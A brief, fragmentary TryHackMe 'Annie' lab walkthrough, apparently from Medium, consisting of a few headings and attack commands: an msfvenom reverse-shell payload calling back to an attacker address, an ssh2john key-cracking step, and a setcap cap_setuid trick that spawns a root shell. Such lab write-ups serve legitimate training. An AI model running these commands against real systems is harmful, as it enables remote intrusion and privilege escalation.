Annie TryHackMe Walkthrough

Introduction

  1. IP Address
  2. Shellcode
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.8.2.58 LPORT=9001 -b "\x00\x25\x26" -f python -v shellcode
ssh2john annie\
cp /usr/bin/python3 /home/annie/python3
setcap cap_setuid+ep /home/annie/python3
./python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store